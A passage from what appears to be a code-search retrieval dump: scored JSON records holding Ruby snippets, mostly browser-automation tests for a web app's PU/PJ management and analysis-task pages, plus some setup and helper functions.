"ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.56076324", "text": "def setup; end", "title": "" }, { "docid": "ce5245890354c6826a1779013d5c4a23", "score": "0.56013954", "text": "def test_001\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n # #Find a PU\n #Pu created\n pu_name = 'pu'\n register_pu(pu_name)\n @@pu = Pu.find(:last)\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n pj_name = 'pj'\n register_pj(pj_name)\n @@pj = Pj.find(:last)\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析\n select \"analyze_type\", \"label=#{@individual}\"\n #Click Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n\n @@pu.destroy\n # logout\n logout\n\n end", "title": "" }, { "docid": "844d78d905ab56b1bdf0377b6cc20d4c", "score": "0.5598199", "text": "def test_021\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "ef1e4c0cc26e4eec8642a7d74e09c9d1", "score": "0.5585323", "text": "def private; end", "title": "" }, { "docid": "b58cbce0e86395667aaeb65004559c80", "score": "0.55797756", "text": "def running_test_case; end", "title": "" }, { "docid": "a32747024e7659fd543aa622cbfe238d", "score": "0.55635875", "text": "def test_024\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n #The Make root directory set as the make_root field enters.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n #The directory/file names which were being changed into the state\n #where it does not check at the information dialog\n #which clicks analyze_deny_files and comes out are enumerated.\n\n click $xpath[\"task\"][\"analyze_deny_files\"]\n sleep 3\n\n assert is_text_present(\"sample_c/Makefile\")\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "5671d0d0829842b02ede0dc0ebf8cb62", "score": "0.5559074", "text": "def test_FleetRequest_FromSearchPage\n # Navigate to the volvo demo site\n @driver.get $env\n \n #1. Login to the application \n Login($uname, $pwd, \"1.0\") \n \n #2. Perform vehicle search with unit# and verify the search results \n VehicleSearchWithUnit_No(\"222\", \"2\")\n \n #3. Perform service location search with location field and verify the search results\n Search_Service_Location_With_Location(\"Dallas,TX\", \"3\")\n \n #4. Create service request for the searched vehicle and service location and submit the request.\n Create_Service_Request(\"123\",\"Engine failure\", \"Please respond immediately\", \"9876543210\", \"testdriver\", \"9876543210\", \"street1\", \"Dallas\", \"Virginia\", \"4\")\n \n end", "title": "" }, { "docid": "87342bde74ed799129e2fee2b5f9591b", "score": "0.5558685", "text": "def test_023\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n #The Make root directory set as the make_root field enters.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n #The directory/file names which were being changed into the check state\n #at the information dialog which clicks analyze_allow_files\n #and comes out are enumerated.\n click $xpath[\"task\"][\"analyze_allow_file_link\"]\n sleep 3\n\n assert !is_text_present(\"sample_c/Makefile\")\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "b38649ee1d5bbd136b6bf45cf1133a1f", "score": "0.55289966", "text": "def boostrap_test_function()\n\n # sleep(2)\n # puts \"Test sending mms\"\n # require_relative './code-snippets/send-mms'\n # read_extension_phone_number_detect_mms_feature()\n # return\n # sleep(2)\n # puts \"Test sending Fax\"\n # require_relative './code-snippets/send-fax'\n # send_fax()\n #\n # sleep(2)\n # puts \"Test reading message store\"\n # require_relative './code-snippets/message-store'\n # read_extension_message_store()\n #\n # sleep(2)\n # puts \"Test reading number features\"\n # require_relative './code-snippets/number-features'\n # detect_sms_feature()\n\n # sleep(2)\n # puts \"Test export message store\"\n # require_relative './code-snippets/message-store-export'\n # create_message_store_report()\n\n sleep(2)\n puts \"Test sending batch sms\"\n require_relative './code-snippets/send-a2p-sms'\n read_extension_phone_number_detect_a2psms_feature()\nend", "title": "" }, { "docid": "59d45a54d002d7c8e7057d88bd388878", "score": "0.55238605", "text": "def test_022\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n #The Make root directory set as the make_root field enters.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "e569dadfa44e9d692a05bcc16adeebc8", "score": "0.5507879", "text": "def test_009\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n #Pu created\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n\n # click link setup QAC\n assert is_text_present(\"qac\")\n sleep 3\n click $xpath[\"task\"][\"analyze_allow_file_link\"]\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(\"analyze_allow_files(qac)\") rescue false); sleep 2 }\n run_script \"destroy_subwindow()\"\n # click link setup QAC++\n assert is_text_present(\"qacpp\")\n sleep 3\n click $xpath[\"task\"][\"analyze_allow_file_link2\"]\n # check log in the navigation bar\n sleep 2\n assert !60.times{ break if (is_text_present(\"analyze_allow_files(qacpp)\") rescue false); sleep 2 }\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "70f0cf75fe066b9a1dcdf2eb611c3250", "score": "0.55049783", "text": "def test_034\n #login\n login\n\n # Two PUs are created\n Pu.destroy_all\n create_pu('SampleA')\n create_pu('SampleB')\n\n # Count all records\n pus = Pu.find(:all)\n @@no_pu = pus.length\n\n # Open PU management page\n open_pu_management_page_1\n\n for i in 1..@@no_pu\n assert_equal pus[i-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{i}.1\")\n end\n sleep 2\n\n # register a pu\n create_pu('SampleC')\n\n sleep 2\n\n #Sort by ID\n pus = Pu.find(:all)\n\n click $xpath[\"misc\"][\"PU_link\"]\n sleep 2\n\n #Click ID link\n click $xpath[\"misc\"][\"id_link\"]\n sleep 2\n\n if pus[0].id.to_s == get_table(\"//div[@id='right_contents']/div[1]/table[2].1.0\")\n pus = Pu.find(:all,:order => 'id')\n pus_second = Pu.find(:all,:order => 'id DESC')\n else\n pus = Pu.find(:all,:order => 'id DESC')\n pus_second = Pu.find(:all,:order => 'id')\n end\n\n for j in 1..@@no_pu\n assert_equal pus[j-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{j}.1\")\n end\n\n # secondly, sort by ID\n click $xpath[\"misc\"][\"id_link\"]\n sleep 2\n for k in 1..@@no_pu\n assert_equal pus_second[k-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{k}.1\")\n end\n\n # Sort by name\n pus = Pu.find(:all,:order => 'name')\n\n # Click PU name link\n click $xpath[\"misc\"][\"name_link\"]\n sleep 2\n\n if pus[0].id.to_s == get_table(\"//div[@id='right_contents']/div[1]/table[2].1.0\")\n pus = Pu.find(:all,:order => 'name')\n pus_second = Pu.find(:all,:order => 'name DESC')\n else\n pus = Pu.find(:all,:order => 'name DESC')\n pus_second = Pu.find(:all,:order => 'name')\n end\n\n for l in 1..@@no_pu\n assert_equal pus[l-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{l}.1\")\n end\n sleep 2\n # secondly, sort by PU's name\n click $xpath[\"misc\"][\"name_link\"]\n sleep 2\n for m in 1..@@no_pu\n assert_equal pus_second[m-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{m}.1\")\n end\n\n # firtly, sort by PU's registration date\n pus = Pu.find(:all,:order => 'created_at')\n\n #Click registration date link\n click $xpath[\"misc\"][\"registration_link\"]\n sleep 2\n if pus[0].id.to_s == get_table(\"//div[@id='right_contents']/div[1]/table[2].1.0\")\n pus = Pu.find(:all,:order => 'created_at')\n pus_second = Pu.find(:all,:order => 'created_at DESC')\n else\n pus = Pu.find(:all,:order => 'created_at DESC')\n pus_second = Pu.find(:all,:order => 'created_at')\n end\n for n in 1..@@no_pu\n assert_equal pus[n-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{n}.1\")\n end\n\n # secondly, sort by PU's registration date\n click $xpath[\"misc\"][\"registration_link\"]\n sleep 2\n for p in 1..@@no_pu\n assert_equal pus_second[p-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{p}.1\")\n end\n\n\n # Delete created data\n @@pu= Pu.find_by_name('SampleA')\n @@pu2= Pu.find_by_name('SampleB')\n @@pu3=Pu.find_by_name('SampleC')\n @@pu.destroy\n @@pu2.destroy\n @@pu3.destroy\n\n # Logout\n logout\n make_original_pus \n end", "title": "" }, { "docid": "f5e39b27af7c629be55dbacf47e46ff8", "score": "0.5498527", "text": "def test_process_assignments\n \n board_prep_sections = [oi_category_sections(:board_prep_1),\n oi_category_sections(:board_prep_2),\n oi_category_sections(:board_prep_3)]\n section_ids = board_prep_sections.collect { |s| s.id }\n team_member_list = [@siva_e]\n \n section_selections = {}\n section_ids.each { |id| section_selections[id.to_s] = '0' }\n\n\n # Try accessing from an account that is not a PCB Designer and\n # verify that the user is redirected.\n post(:process_assignments,\n { :category => { :id => @board_prep.id },\n :design => { :id => @mx234a.id },\n :section => section_selections },\n pat_dfm_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(\"You are not authorized to access this page\", flash['notice'])\n \n \n # Verify that a contractor PCB Designer can not access the list.\n post(:process_assignments,\n { :category => { :id => @board_prep.id },\n :design => { :id => @mx234a.id },\n :section => section_selections },\n siva_designer_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n #assert_equal(\"You are not authorized to access this page\", flash['notice'])\n\n end", "title": "" }, { "docid": "ea8d4b827926af5a89a67c103b0dfae5", "score": "0.5496493", "text": "def test_source_getall()\n # 1. no sources\n assert_equal [], One::EmailDirect::Facade.source_getall(@credentials)\n\n\n # 2. one source\n One::EmailDirect::Facade.source_add(@credentials, @source_getall1[:name], @source_getall1[:description])\n result = One::EmailDirect::Facade.source_getall(@credentials)\n expected = [{\n :element_name => @source_getall1[:name],\n :description => @source_getall1[:description]\n }]\n result.collect! {|element| element.delete(:element_id); element} # remove ids\n assert_equal expected, result\n\n\n # 3. two sources\n One::EmailDirect::Facade.source_add(@credentials, @source_getall2[:name], @source_getall2[:description])\n result = One::EmailDirect::Facade.source_getall(@credentials)\n expected = [{\n :element_name => @source_getall1[:name],\n :description => @source_getall1[:description]\n }, {\n :element_name => @source_getall2[:name],\n :description => @source_getall2[:description]\n }]\n result.collect! {|element| element.delete(:element_id); element} # remove ids\n assert_equal expected, result\n\n\n # 4. three sources\n One::EmailDirect::Facade.source_add(@credentials, @source_getall3[:name], @source_getall3[:description])\n result = One::EmailDirect::Facade.source_getall(@credentials)\n expected = [{\n :element_name => @source_getall1[:name],\n :description => @source_getall1[:description]\n }, {\n :element_name => @source_getall2[:name],\n :description => @source_getall2[:description]\n }, {\n :element_name => @source_getall3[:name],\n :description => @source_getall3[:description]\n }]\n result.collect! {|element| element.delete(:element_id); element} # remove ids\n assert_equal expected, result\n end", "title": "" }, { "docid": "a9063d431de1972f3f295efd8bce80a1", "score": "0.5488336", "text": "def test_033\n # login\n login\n\n # Two PUs are created\n Pu.destroy_all\n create_pu('SampleA')\n create_pu('SampleB')\n\n # Count all records\n pus = Pu.find(:all)\n @@no_pu = pus.length\n\n #Open PU management page\n open_pu_management_page_1\n\n\n for i in 1..@@no_pu\n assert_equal pus[i-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{i}.1\")\n end\n\n # firtly, sort by PU's registration date\n pus = Pu.find(:all,:order => 'created_at')\n\n #Click registration date link\n click $xpath[\"misc\"][\"registration_link\"]\n\n sleep 2\n\n if pus[0].id.to_s == get_table(\"//div[@id='right_contents']/div[1]/table[2].1.0\")\n pus = Pu.find(:all,:order => 'created_at')\n pus_second = Pu.find(:all,:order => 'created_at DESC')\n else\n pus = Pu.find(:all,:order => 'created_at DESC')\n pus_second = Pu.find(:all,:order => 'created_at')\n end\n\n for n in 1..@@no_pu\n assert_equal pus[n-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{n}.1\")\n end\n\n # secondly, sort by PU's registration date\n click $xpath[\"misc\"][\"registration_link\"]\n sleep 2\n for p in 1..@@no_pu\n assert_equal pus_second[p-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{p}.1\")\n end\n\n # Delete created data\n @@pu= Pu.find_by_name('SampleA')\n @@pu2= Pu.find_by_name('SampleB')\n @@pu.destroy\n @@pu2.destroy\n\n # Logout\n logout\n make_original_pus\n end", "title": "" }, { "docid": "67565f9a3696fed214a7d11ba258a7e1", "score": "0.54862344", "text": "def test_032\n # login\n login\n\n # Two PUs are created\n Pu.destroy_all\n create_pu('SampleA')\n create_pu('SampleB')\n\n # Count all records\n pus = Pu.find(:all)\n @@no_pu = pus.length\n\n # Open PU management page\n open_pu_management_page_1\n\n for i in 1..@@no_pu\n assert_equal pus[i-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{i}.1\")\n end\n\n # Sort by name\n pus = Pu.find(:all,:order => 'name')\n\n # Click PU name\n\n click $xpath[\"misc\"][\"name_link\"]\n sleep 2\n\n if pus[0].id.to_s == get_table(\"//div[@id='right_contents']/div[1]/table[2].1.0\")\n pus = Pu.find(:all,:order => 'name')\n pus_second = Pu.find(:all,:order => 'name DESC')\n else\n pus = Pu.find(:all,:order => 'name DESC')\n pus_second = Pu.find(:all,:order => 'name')\n end\n\n for l in 1..@@no_pu\n assert_equal pus[l-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{l}.1\")\n end\n # secondly, sort by PU's name\n click $xpath[\"misc\"][\"name_link\"]\n sleep 2\n for m in 1..@@no_pu\n assert_equal pus_second[m-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{m}.1\")\n end\n\n # Delete created data\n @@pu= Pu.find_by_name('SampleA')\n @@pu2= Pu.find_by_name('SampleB')\n @@pu.destroy\n @@pu2.destroy\n\n # Logout\n logout\n make_original_pus\n end", "title": "" }, { "docid": "005e6fc140cba1f79535dcb415d4bcd9", "score": "0.54789734", "text": "def strategy; end", "title": "" }, { "docid": "c5fb5e4489c11a27b5012bb697cb1e9f", "score": "0.5471874", "text": "def splitModelsDemo() # For models split out over various files.\n\t#print \"#{__LINE__} Hello splitModelsDemo!\\n\"\n\t$all_split_models = [] \n\tFind.find(PLdirectory) do |payload|\n\t\tpayload = payload.split('/')[-1]\n\t\t#print \"#{__LINE__} \", payload, \"\\n\"\n\t\tif !!payload[1..4][\"_\"]\n\t\t\t#puts \"#{__LINE__} Inner truth here #{payload}\"\n\t\t\t$all_split_models += [payload]\n\t\tend\n\tend\n\t#print \"#{__LINE__} Hello $all_split_models! #{$all_split_models.join(' ')}\\n\"\n\tpayload_functions = {}\n\t$all_split_models.each do |payload|\n\t\trequire PLdirectory + payload\n\t\tplName = payload.chomp('.rb').split(\"_\")\n\t\t#print \"#{__LINE__} \"\n\t\t#p plName\n\t\tif payload_functions.key?(plName[1])\n\t\t\tpayload_functions[plName[1]] += [plName[2]]\n\t\telse payload_functions.nil?\n\t\t\tpayload_functions[plName[1]] = [plName[2]]\n\t\t#else\n\t\t#\traise StandardError.new(\"You shouldn't get here!\")\n\t\tend\n\tend\n\tsplitLookDo($all_split_models, \"signup\")\n\tsplitLookDo($all_split_models, \"suverify\") #sign up verification\n\tsplitLookDo($all_split_models, \"login\")\nend", "title": "" }, { "docid": "fcab3603b052a3eb298677b5d1825c50", "score": "0.54609275", "text": "def setup\n alpha_1_string = File.open('./test/unit/lib/hl7_test_data/discovery_alpha_1.csv').read\n alpha_2_string = File.open('./test/unit/lib/hl7_test_data/discovery_alpha_2.csv').read\n beta_1_string = File.open('./test/unit/lib/hl7_test_data/discovery_beta_1.csv').read\n beta_2_string = File.open('./test/unit/lib/hl7_test_data/discovery_beta_2.csv').read\n @alpha_1 = DiscoveryCsv.new(hl7_csv_string: alpha_1_string)\n @alpha_2 = DiscoveryCsv.new(hl7_csv_string: alpha_2_string)\n @beta_1 = DiscoveryCsv.new(hl7_csv_string: beta_1_string)\n @beta_2 = DiscoveryCsv.new(hl7_csv_string: beta_2_string)\n @same_one = DiscoveryCsv.new(hl7_csv_string: File.open('./test/unit/lib/hl7_test_data/discovery_same_1.csv').read)\n @same_two = DiscoveryCsv.new(hl7_csv_string: File.open('./test/unit/lib/hl7_test_data/discovery_same_2.csv').read)\n end", "title": "" }, { "docid": "41634510334d3ff38f61ad98feee9390", "score": "0.54552066", "text": "def test_025\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n #The Make root directory set as the make_root field enters.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n #Move to general control tab\n click $xpath[\"task\"][\"general_control_tab\"]\n\n #The information set does not disappear and remains.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "2f578bf703f00444d47354c6512ae471", "score": "0.54523355", "text": "def test_002\n\n # login\n login\n @@pu = 1\n @@pj = 1\n open\"/devgroup/pj_index/#{@@pu}/#{@@pj}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu}/#{@@pj}\")\n #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析\n select \"analyze_type\", \"label=#{@individual}\"\n #Click Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n #Select \"uploading a file individually\"\n click \"file_upload_upload_way_upload_each\"\n assert is_text_present(_(\"Uploaded individually.\"))\n click $xpath[\"task\"][\"read_tree\"]\n\n assert !60.times{ break if (is_text_present(_(\"Directory structure\")) rescue false); sleep 2 }\n # logout\n logout\n\n end", "title": "" }, { "docid": "e708ad90e8ce43e3a3a3a99c57b26047", "score": "0.5447613", "text": "def test_legacy_helpers\n assert_equal @patron.primary_phone, @patron.primary_address_phone\n assert_equal @patron.secondary_phone, @patron.secondary_address_phone\n assert_nil @patron.primary_address_mobile_phone\n assert_nil @patron.secondary_address_mobile_phone\n end", "title": "" }, { "docid": "39567f28a979269ee5d8ef96e47762f0", "score": "0.54381126", "text": "def test_038\n\n login\n\n # Create some PUs\n\n for i in 1..2\n create_pu('sample_pu'+i.to_s)\n end\n\n pus = Pu.find_all_by_name('sample_pu1')\n pu = pus.last\n pu.created_at =\"2009-05-08 11:30:50\"\n pu.save\n pus = Pu.find_all_by_name('sample_pu2')\n pu = pus.last\n pu.created_at =\"2008-05-08 14:30:50\"\n pu.save\n @@year = \"2009\"\n @@hour = \"14\"\n\n # Open PU management page\n open_pu_management_page_1\n\n # Arbitrary filtering is performed to date.\n select \"find_box\", \"label=#{_('Registration date')}\"\n assert_equal _(\"Registration date\"), get_selected_label(\"find_box\")\n\n # filtering\n filtering(@@year)\n assert is_text_present(\"2009-05-08\")\n assert !is_text_present(\"2008-05-08\")\n # you have no relevance\n filtering(@@year+'a')\n assert !is_text_present(\"2009-05-08\")\n assert !is_text_present(\"2008-05-08\")\n filtering(@@hour)\n assert is_text_present(\"2008-05-08\")\n sleep 2\n\n # Delete created data\n @@pu= Pu.find_by_name('sample_pu1')\n @@pu2= Pu.find_by_name('sample_pu2')\n @@pu.destroy\n @@pu2.destroy\n logout\n end", "title": "" }, { "docid": "a8afe1134a6e9676b89552ce88e9eb5f", "score": "0.54336053", "text": "def test_010\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n #Pu created\n\n\n @@pu = Pu.find_by_name('SamplePU1')\n open 